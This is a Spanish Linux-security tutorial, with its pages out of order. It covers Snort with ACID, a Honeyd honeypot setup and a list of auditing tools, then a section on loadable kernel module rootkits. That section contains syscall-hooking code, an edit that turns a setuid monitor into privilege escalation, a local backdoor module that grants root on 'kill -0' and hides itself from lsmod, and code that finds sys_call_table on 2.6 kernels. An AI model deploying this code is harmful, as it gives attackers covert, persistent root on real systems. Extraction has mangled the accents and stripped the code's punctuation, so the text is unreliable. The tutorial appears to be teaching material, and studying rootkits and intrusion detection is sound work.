Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red

httpwwwsnortsamnet

5- Usando ACID + SNORT

Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web

Kernel hacks y seguridad JMP

La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten

httpacidlabsourceforgenet

La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo

Luego necesitaremos a ser posible

Apache soporte GD OpenSSL MySQL

PHP soporte GD OpenSSL MySQL

MySQL

ACID soporte adodb jpgraph phplot GD

Y claro esta Snort con soporte para MySQL

Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios

Ejemplo

$ mysql -u root -p

mysql gt CREATE DATABASE snort

mysql gt GRANT ALL ON snort to rootlocalhost identified by password

$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort

Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias

Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid

Alert DB connection parameters

Kernel hacks y seguridad JMP

- $alert_dbname MySQL database name of Snort alert DB

- $alert_host host on which the DB is stored

- $alert_port port on which to access the DB

- $alert_user login to the database with this user

- $alert_password password of the DB user

This information can be gleaned from the Snort database

output plugin configuration

$alert_dbname = snort_log

$alert_host = localhost

$alert_port =

$alert_user = root

$alert_password = mypassword

Archive DB connection parameters

$archive_dbname = snort_archive

$archive_host = localhost

$archive_port =

$archive_user = root

$archive_password = mypassword

Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort

Kernel hacks y seguridad JMP

Creacioacuten de reglas propias para Snort

Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones

CABECERA

Accioacuten de la regla alert

Protocolo tcp udp

Direccion IP origen $EXTERNAL_NET

Puerto IP origen any

Direccion IP destino $HOME_NET

Puerto IP destino any

Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)

OPCIONES

Mensaje ldquohola directivardquo

Opciones flags Aack 0 reference

Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)

El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort

Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg

Conclusiones

Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro

Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales

Kernel hacks y seguridad JMP

Honeypots

Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos

Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema

Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P

net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1

Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2

De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto

httpwwwhoneydorg

httpwwwcitiumicheduuprovoshoneyd

Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd

Config file for etcinitdhoneyd

Set Network addressHONEYD_NET=10001

HONEYD_IF=lo

HONEYD_LOG=varloghoneydlog

Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs

Kernel hacks y seguridad JMP

Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints

-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc

Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc

Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en

httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)

2- Creando sistemas virtuales

Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)

Su contenido se muestra a continuacioacuten

route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024

Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset

create default set default default tcp action block set default default udp action block set default default icmp action block

create router

Kernel hacks y seguridad JMP

set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl

bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42

De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto

Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc

3- Otros usos

Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot

Listado de programas yo utilidades para el anaacutelisis de redes y auditorias

acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace

Kernel hacks y seguridad JMP

dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli

Conclusiones

Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto

ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo

Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G

Kernel hacks y seguridad JMP

BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET

kernel hacks

Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo

Coacutedigo fuente de ldquoAdore-ngrdquo

Material de las conferencias del ldquoHackandalusrdquo hackmeeting

HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo

Kernelnewbies httpeskernelnewbiesorg

Internet Relay Chat en ircfreenodenet

Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo

httpwwwomninerdcom20051122articles43

Phrack ldquoHiding Out Under Unixrdquo

Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten

Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap

Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)

Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg

Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm

Snort NIDS

Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID

OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004

Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo

Honeyd

Documentacioacuten del propio programa y web oficial (honeydorg)

Kernel hacks y seguridad JMP

Page 11: Kernel, Hacks y Seguridad en Linux - Rootkits, IDS y Honeypots

Kernel hacks y seguridad JMP

Resulta que he creado un puntero a una funcioacuten (man chmod) de manera que al inicializar el LKM he guardado en hook_chmod la direccioacuten de la syscall __NR_chmod original dentro del vector con el fin de poder restaurarla al descargar el moacutedulo (queremos seguir usando el verdadero chmod despueacutes de jugar P) y a continuacioacuten hemos redireccionado __NR_chmod a la direccioacuten de memoria donde tenemos nuestra funcioacuten (mi_chmod) de manera que cuando el sistema accede a __NR_chmod procesaraacute la rutina mi_chmod en lugar de la verdadera funcioacuten chmod de ahiacute que no tenga efecto el comando chmod mientras tengas el LKM cargado

iquestDe doacutende se sacan los nombres de las syscalls Basta con mirar ltasmunistdhgt

$cat usrsrclinuxincludelinuxasmunistdh|less

Alliacute encontramos parejas de syscalls y nuacutemero identificador chmod es la 15 en mis fuentes Si ademaacutes tienes algo maacutes de tiempo yo sugiero echar otro vistazo a usrsrclinuxincludelinuxsyscallsh

Si podemos referirnos a las syscalls con __NR_ es porque usamos ltasmunistdhgt

Ahora muestro otro listado para ilustrar como podemos reservar y liberar memoria en el espacio del kernel mediante kmalloc() y kfree() asiacute como la manera de pasar datos desde el espacio de usuario a la memoria del nuacutecleo y al reveacutes gracias a las funciones __generic_copy_from_user y __generic_copy_to_user respectivamente memset se utiliza para llenar la memoria con un byte constante y GFP_KERNEL indica el tipo de asignacioacuten de memoria para el nuacutecleo

Lo que hace es simplemente manipular la syscall rename para que siempre se renombre por jmphack al hacer mv origen destino hay que procurar no sobrescribir ficheros y descargar el moacutedulo cuando se haya visto que funciona usando rmmod

La nueva cabecera antildeadida aquiacute para los tratamientos mencionados justo arriba viene a ser ltlinuxmmhgt

1 define MODULE 2 define __KERNEL__ 3 include ltlinuxversionhgt 4 include ltlinuxkernelhgt 5 include ltasmunistdhgt 6 include ltlinuxmodulehgt 7 include ltlinuxmmhgt

sigue listado 4

Kernel hacks y seguridad JMP

continuando listado 4

8 extern void sys_call_table[] 9 int (hook_mv)(const char desde const char hasta) 10 11 int mi_mv(const char desde const char hasta) 12 char kbuff1=(char )kmalloc(strlen(desde)+1 GFP_KERNEL) 13 memset(kbuff1 0 strlen(desde)+1) 14 importante no dejarnos el +1 del final sino la liamos 15 __generic_copy_from_user(kbuff1 desde strlen(desde)+1) 16 __generic_copy_to_user(hastajmphack) 17 kfree(kbuff1) 18 return((hook_mv)(desde hasta)) 19 20 21 int init_module() 22 printk(LKM cargadon) 23 hook_mv=sys_call_table[__NR_rename] 24 sys_call_table[__NR_rename]=mi_mv 25 return(0) 26 27 28 void cleanup_module() 29 printk(LKM descargadon) 30 sys_call_table[__NR_rename]=hook_mv 31 32 MODULE_LICENSE(GPL) 33 MODULE_AUTHOR(Jose Miguel Porcel G) 34 MODULE_DESCRIPTION(Hook a rename())

Hasta el momento todos los ejemplos que estoy poniendo tienen una utilidad bastante absurda (son para explicar algunas cosas) pero uno se puede dar cuenta de la potencia de un LKM de cara a su uso en sistemas comprometidos no resulta complicado averiguar como trabaja el sistema con los procesos los ficheros y demaacutes para poder - por ejemplo - ocultar un fichero o incluso el propio moacutedulo en la memoria todo esto y algo maacutes lo vemos a continuacioacuten

Kernel hacks y seguridad JMP

5- Protegiendo el UID 0

Tendiendo en cuenta todo lo explicado por el momento en este texto y lo visto en la asignatura de sistemas operativos hasta ahora sabemos que el uid0 se corresponde al id de root (usuario privilegiado) y que al explotar ciertas vulnerabilidades es necesario en algunos casos usar setuid() para establecer privilegios de root En el siguiente coacutedigo se ilustra como evitar que se use setuid(0) por usuarios distintos a root todo debidamente monitoreado esto permite en ciertos casos sumar un punto a la seguridad del sistema

Cabe destacar que el LKM que se muestra es para la serie 24 y habraacute que adaptarlo despueacutes para la serie 26 no obstante solamente habraacute que esperar un poco antes de ver eso

1 define MODULE 2 define __KERNEL__ 3 include ltasmunistdhgt 4 include ltlinuxschedhgt 5 include ltlinuxversionhgt 6 include ltlinuxkernelhgt 7 include ltlinuxmodulehgt 8 extern void sys_call_table[] 9 long ( hook_suid)(uid_t uid) 10 11 long nosuid(uid_t uid) 12 13 int res 14 if (current-gtuid ampamp uid) 15 printk([ALERTA] Ejecutado setuid 0 desde un usuario no rootn) 16 printk(info PID(i) PGRP(i) EUID (i i) =gt i

[DENEGADO]n17 current-gtpid 18 current-gtpgrp 19 current-gteuid 20 current-gtuid 21 uid) 22 res=( hook_suid)(current-gtuid) 23 24 res=( hook_suid)(uid) 25 26 int init_module() 27 printk(LKM Listo y funcionandon) 28 hook_suid=sys_call_table[__NR_setuid32] 29 sys_call_table[__NR_setuid32]=nosuid 30 return 0 31 32 33 int cleanup_module() 34 printk(Descargandon) 35 sys_call_table[__NR_setuid32]=hook_suid 36 37 MODULE_LICENSE(GPL) 38 MODULE_AUTHOR(Jose Miguel Porcel G) 39 MODULE_DESCRIPTION(Controla setuid 0)

Kernel hacks y seguridad JMP

Insertamos el moacutedulo y probamos

root su linux linux$ su root linux$ tail varlogmessages

La novedad en el coacutedigo anterior es en primer lugar que el coacutedigo es ligeramente maacutes uacutetil P y luego que he usado current para referirnos a nosotros mismos es decir al proceso en ejecucioacuten en un instante determinado es por eso que he incluido ltlinuxschedhgt Si miramos ahiacute dentro tenemos una gran estructura task_struct que caracteriza a un proceso no la muestro aquiacute porque es un poco grande como para reproducirla ahora

Modificando el coacutedigo anterior ligeramente justo en la liacutenea 22 por

res=( hook_suid)(0)

hacemos que un usuario no privilegiado pase a elevar sus privilegios sin maacutes

En el siguiente apartado hacemos algo maacutes serio se trata de un backdoor para los nuacutecleos de la serie 24 y que luego adaptareacute tambieacuten a la serie 26 con todo lo que eso conlleva Para ello vamos a manipular la syscall SYS_KILL creando un nuevo ldquosignalrdquo que seraacute muy especial -)

Otra utilidad para SYS_KILL seriacutea evitar que usuarios sin privilegios puedan matar procesos ajenos o incluso podemos proteger procesos de sentildeales (como kill -9) frente a cualquier usuario privilegiado o no

Kernel hacks y seguridad JMP

6- Backdoor local para kernels 24x

Con todo lo visto en los coacutedigos de arriba estaacute totalmente tirado hacer una puerta trasera en el sistema para asegurarnos privilegios de root de hecho un LKM es una forma muy elegante de hacerlo

En el siguiente listado veremos un moacutedulo que daraacute privilegios efectivos de root (euid=0) al user que intente mandar la sentildeal -0 mediante kill a un proceso con un pid determinado por COOLPID - aquiacute con poco sentido poner 00000 = 0 - bastaraacute con ejecutar lo siguiente

linux$ kill -0 00000 (al hacer id vemos que ocurre)

por supuesto no nos interesa que nadie sepa que tenemos un moacutedulo cargado (hacer lsmod y ver ldquobackdoorrdquo canta un poco) por lo que al inicializar la carga del mismo haremos que desaparezca el como lo explico a continuacioacuten despueacutes de mostrar un poco el coacutedigo que aunque estaacute claro que es infinitamente mejorable como ejemplo es perfecto

Kernel hacks y seguridad JMP

backdoor local 1 kernels 22 24 1 define __KERNEL__ 2 define MODULE 3 include ltlinuxkernelhgt 4 include ltlinuxversionhgt 5 include ltlinuxmodulehgt 6 include ltasmunistdhgt 7 include ltlinuxschedhgt 8 define COOLPID 00000 9 no queremos exportar los simbolos ) 10 EXPORT_NO_SYMBOLS 11 extern void sys_call_table[] 12 int (killsysc)(pid_t pidint sig) 13 nos da root si kill -0 COOLPID 14 int hook(pid_t pidint sig) 15 if (sig==0 ampamp pid== COOLPID) 16 current-gteuid=0 17 current-gtuid=0 18 19 return 0 20 21 carga 22 int init_module() 23 ocultamos el LKM 24 struct module yo = amp__this_module 25 secuestrado = NULL 26 secuestrado = yo-gtnext 27 no pudo ser 28 if (secuestrado) return -1 29 su DNI por favor 30 yo-gtname = secuestrado-gtname 31 yo-gtflags = secuestrado-gtflags 32 yo-gtsize = secuestrado-gtsize 33 yo-gtnext = secuestrado-gtnext 34 hook 35 killsysc=sys_call_table[__NR_kill] 36 sys_call_table[__NR_kill]=hook 37 return 0 38 39 descarga 40 int cleanup_module() 41 42 dejamos las cosas en orden 43 sys_call_table[__NR_kill]=killsysc 44 return 0 45 46 publicidad 47 MODULE_LICENSE(GPL) 48 MODULE_AUTHOR(Jose Miguel Porcel G) 49 MODULE_DESCRIPTION(backd00r local simple para 22x y 24x)

En primer lugar iquestqueacute es ese EXPORT_NO_SYMBOLS Resulta que al insertar el moacutedulo nuestras con nuestras funciones se exportan y asiacute los siacutembolos pueden ser usados por otros moacutedulos si ejecutas

$cat procksyms

Kernel hacks y seguridad JMP

Veraacutes la lista de siacutembolos exportado actualmente en el Kernel lo que puede ser bastante sospechoso para nuestro backdoor no cuesta nada NO exportar los siacutembolos mediante esa macro

Resulta interesante echar un vistazo a ltlinuxmodulehgt porque de ahiacute he sacado la informacioacuten para la estructura module que he utilizado ndash entre otras cosas- para ocultar el moacutedulo Como el Kernel guarda una lista simple enlazada con los moacutedulos cargados es muy faacutecil reajustar los punteros al moacutedulo siguiente para eliminar un elemento existente

Al insertar un nuevo moacutedulo eacuteste pasa a ser la referencia al inicio de la lista de manera que se complica el poder quitarnos a nosotros mismos del medio la solucioacuten como se puede ver no es compleja de entender lo que hacemos es coger el siguiente moacutedulo a nosotros en la lista obtener sus propiedades (las que lsmod muestra) y sacar al moacutedulo suplantado de la lista enlazada lo que no deshabilita el moacutedulo simplemente lo oculta se trata de un camuflaje simple pero funciona y eso es lo que vale

El resto del coacutedigo es lo que vengo haciendo hemos interceptado la syscall __NR_kill de manera que cada vez que se ejecute llama a hook (pid_tpid) que verifica si pid_t = 0 y pid = COOLPID si es asiacute establece los privilegios del proceso a uid =0 (root) y euid=0 la auteacutentica llamada a kill se omite

Ahora voy a tratar cosas maacutes serias al empezar con los moacutedulos para el kernel 26x los cambios no son muchos y es faacutecil una vez visto como se soluciona cierto asunto como podemos ajustar los moacutedulos anteriores para que funcionen en un nuevo Kernel de la serie 26

Kernel hacks y seguridad JMP

7- Moacutedulos para la serie 26 del nuacutecleo

Lo mejor para empezar es ver un listado de coacutedigo

Primer ejemplo de un LKM para la serie 26

1 include ltlinuxinithgt 2 include ltlinuxmodulehgt 3 include ltlinuxkernelhgt 4 static int __init carga(void) 5 6 printk(KERN_INFO LKM preparadon) 7 return 0 8 9 static void __exit descarga(void) 10 11 printk(KERN_INFO Nos vamosn) 12 13 module_init(carga) 14 module_exit(descarga)

Lo que se nota raacutepidamente es que he antildeadido ltlinuxinithgt para las macros module_init y module_exit el caso es que el meacutetodo usado a partir de ahora para llamar a las funciones init_module y cleanup_module es mediante esas dos macros lo que nos permite llamar a nuestras rutinas de carga y descarga con el nombre que queramos Otra cosa he antildeadido ahiacute KERN_INFO a printk cosa que hasta ahora no habiacutea hecho y sirve para establecer una prioridad a la hora de registrar o imprimir nuestro mensaje y por defecto tiene prioridad DEFAULT_MESSAGE_LOGLEVEL mirando el fichero kernelh solucionamos dudas sobre esto muestro en todo caso las prioridades ordenadas de mayor a menor

KERN_EMERG lt0gt KERN_ALERT lt1gt KERN_CRIT lt2gt KERN_ERR lt3gt KERN_WARNING lt4gt KERN_NOTICE lt5gt KERN_INFO lt6gt KERN_DEBUG lt7gt

No aparecen arriba define __KERNEL__ y MODULE ya que si lo haces seguramente se te advertiraacute de que las declaraciones estaacuten redefinidas

Kernel hacks y seguridad JMP

Compilacioacuten de LKMs para la serie 26

En primer lugar necesitaremos crear un fichero llamado Makefile cuyo contenido sea

obj-m = moduloo

Explicar ahora el funcionamiento de los Makefile y demaacutes escapa de las pretensiones de eacuteste trabajo pero basta con saber que moduloo es el nombre del LKM que deseamos compilar

Hecho esto y situados en un directorio que contiene tanto el moduloc como el fichero Makefile ejecutamos lo siguiente

root make -C usrsrclinux SUBDIRS=$PWD modules

Una vez terminado el proceso tenemos un moduloko generado listo para insertar de manera habitual con insmod para eliminar el moacutedulo se hace de igual forma con rmmod

8- No exportacioacuten de la Sys_call_table[] para nuacutecleos 26x

Resulta que la famosa Sys_call_table que usaacutebamos para enganchar las syscalls ya no estaacute disponible para su uso indiscriminado asiacute que todo esto nos va a suponer un poco maacutes de trabajo

Encontrando la Sys_call_table[]

Ahora el tema se complica un poco y es preferible explicarlo teniendo en cuenta unos conceptos clave

Las Interrupciones son eventos que nos permiten modificar la secuencia actual de instrucciones que la CPU (x86) procesa Internamente Linux y nuestra maacutequina usan el vector 128 (Int 0x80) para las llamadas al sistema

Una IDT de sistema (Interrupt Descriptor Table) es una tabla en la que sea mapea cada vector a un manejador de excepcioacuten o una interrupcioacuten el registro idtr (en arquitectura x86) contiene la direccioacuten de la base de la IDT

Linux utiliza dos tipos de descriptores las Trap Gates y las Interrupt Gates de manera que los Gate Descriptors (traducido descriptores de puerta o pasarela) sirven como identificador para la direccioacuten de una interrupcioacuten o manejadores de excepciones Aquiacute hemos notado muchas veces que ocurriraacute un fallo de proteccioacuten general cuando el nivel de privilegios del Gate Descriptor es inferior al indicado por el nivel de privilegio de un programa

Un System Gate que es un tipo de Gate corre con un nivel de privilegio 3 (su Descriptor Privilege Level o DPL vale 3 para las System Gates y 0 para Trap Gates por ejemplo) esto es muy interesante para nosotros en el aspecto en que el vector 128 puede ser accedido por medio de syscalls gracias a la famosa Int 0x80 a de Linux y es lo que hacen los programas en modo de usuario

Kernel hacks y seguridad JMP

Resumiendo

Resulta que tenemos una IDT y una GDT (tabla de descriptores global) de manera que cuando queremos acceder a una syscall de sistema usando IDT + GDT se ejecuta una syscall definida iquestdefinida doacutende pues en archi386entryS gentileza del propio Linus Torvalds -)

El hack

Lo ideal seriacutea que editar (soacutelo lectura) archi386entryS para buscar una parte igual o muy similar a la que muestro en la serie 24 cambia ligeramente pero la idea es la misma

usrsrclinuxarchi386kernelentryS

Liacuteneas 225 a 259 de mi kernel 2614 sobre la 277 en versiones 269 y otras ndash por supuesto- esto es asi debido a algunos cambios que se han ido haciendo en el desarrollo

system call handler stub

1 ENTRY(system_call) 2 pushl eax save orig_eax 3 SAVE_ALL 4 GET_THREAD_INFO(ebp) 5 testw

$(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT)TI_ flags(ebp)

6 jnz syscall_trace_entry 7 cmpl $(nr_syscalls) eax 8 jae syscall_badsys 9 syscall_call 10 call sys_call_table(eax4) 11 movl eaxEAX(esp) 12 syscall_exit 13 [ continuacutea]

He omitido algunos comentario del fichero y demaacutes por brevedad

Atencioacuten en la liacutenea que va justo despueacutes de la etiqueta syscall_call ahiacute lo que hace es hacer una llamada pasando en el registro EAX el nuacutemero de la syscall En el mismo fichero entryS maacutes abajo deberiacutea haber algo como lo que sigue esto era cierto hasta las versiones 269 y otras pero recientemente y una vez maacutes esto ha cambiado un poco y ahora tenemos en mi kernel 2614 un fichero ldquosyscall_tableSrdquo en el mismo lugar que contiene una tabla con las llamadas al sistema no sabriacutea decir si es maacutes coacutemodo o no pero lo cierto es que lo deja con un aspecto maacutes bonito para trabajar

Esto es parte de su contenido

Kernel hacks y seguridad JMP

data ENTRY(sys_call_table)

long sys_restart_syscall 0 - old setup() system call

long sys_exit long sys_fork long sys_read long sys_write long sys_open long sys_close long sys_waitpid long sys_creat long sys_link long sys_unlink long sys_execve

long sys_chdir long sys_time long sys_mknod long sys_chmod long sys_lchown16 long sys_ni_syscall long sys_stat long sys_lseek

long sys_getpid long sys_mount long sys_oldumount long sys_setuid16 long sys_getuid16 long sys_stime long sys_ptrace long sys_alarm long sys_fstat long sys_pause long sys_utime long sys_ni_syscall long sys_ni_syscall long sys_access

long sys_nice long sys_ni_syscall long sys_sync long sys_kill long sys_rename long sys_mkdir long sys_rmdir long sys_dup long sys_pipe long sys_times long sys_ni_syscall long sys_brk long sys_setgid16 long sys_getgid16 long sys_signal long sys_geteuid16 long sys_getegid16 long sys_acct long sys_umount long sys_ni_syscall

y continuacutea

used for restarting

5

10

15

old break syscall holder

20

25

30 old stty syscall holder old gtty syscall holder

35 - old ftime syscall holder

40

old prof syscall holder 45

50

recycled never used phys() old lock syscall holder

Kernel hacks y seguridad JMP

Arriba donde dice sys_restart_syscall seriacutea la syscall 0 y sys_exit la 1 bien ese es el lugar para ir a mirar el siacutembolo correspondiente

Ahora tenemos que volcar el contenido de entryo (fichero objeto) del mismo directorio actual de entryS buscando algo MUY concreto queremos esa direccioacuten maacutegica y especial que tan ansiadamente buscamos

Procedo a usar GDB para desensamblar el fichero como muestro en la figura

Muy bien ahora ya hemos encontrado la direccioacuten que queriamos y apartir de esa direccioacuten ya es posible encontrar la sys_call_table

Lo podemos comprobar tambieacuten haciendo un volcado del fichero objeto con objdump

objdump -d entryo|grep ff 14 85

Ahora muestro un coacutedigo bastante probado que de una manera bastante ya estandarizada nos consigue la Sys_call_table[] para poder usuarla como cuando antes la exportabamos

El coacutedigo puede parecer un poco complicado pero hace lo que se ha explicado justo arriba y finalmente nos devuelve la direccioacuten donde se encuentra con un puntero

Kernel hacks y seguridad JMP

Obtenemos la sys_call_table[] en kernels de la serie 26 test

include ltlinuxinithgt include ltlinuxmodulehgt include ltlinuxkernelhgt include ltlinuxmmhgt para las pruebas include ltasmunistdhgt IDT struct

unsigned short off1 unsigned short sel unsigned char noneflags unsigned short off2

__attribute__ ((packed)) idt

IDTR struct

unsigned short limit unsigned int base

__attribute__ ((packed)) idtr el hook uid_t ( restaura)(void) la Sys_call_table ya no se exporta int sys_call_table siempre uid 0 ) uid_t cero_uid(void)

return 0 el hack static void syscalltable(void)

unsigned int offsi char sccall[128] ok necesitamos IDT toca usar asm() asm(sidt 0 =m (idtr))

printk(KERN_ALERT[IDTR] Base en 0xxn idtrbase) idt[80h]

memcpy(ampidt(void )(idtrbase+80x80) sizeof(idt)) offs = (idtoff2 ltlt 16) | idtoff1 printk(KERN_ALERT [IDT(80h)] Descriptor en 0xxn

verificando calln offs) memcpy(sccall (void )offs 128) vamos a ver si encontramos la cadenita FF1485 por ah) i=0while((ilt128) ampamp ((sccall[i] == xff) ampamp (sccall[i+1]== x14) ampamp (sccall[i+2]== x85)))

i++ sys_call_table =(void) ((int ) ampsccall[i+3])

printk(KERN_ALERT [OK] Sys_call_table -gt 0xpn sys_call_table) aqula tenemos ) NO verifico que no se haya encontrado P

Kernel hacks y seguridad JMP

empieza static int __init buscarsct(void)

printk(KERN_ALERT [CARGADO] Buscando Sys_call_tablen)

syscalltable() fundamental vamos a ver si es verdad ) restaura=sys_call_table[__NR_getuid32]

sys_call_table[__NR_getuid32]=cero_uidreturn 0

lo ponemos todo en orden static void __exit descarga(void)

sys_call_table[__NR_getuid32]=restaura printk(LKM descargado)

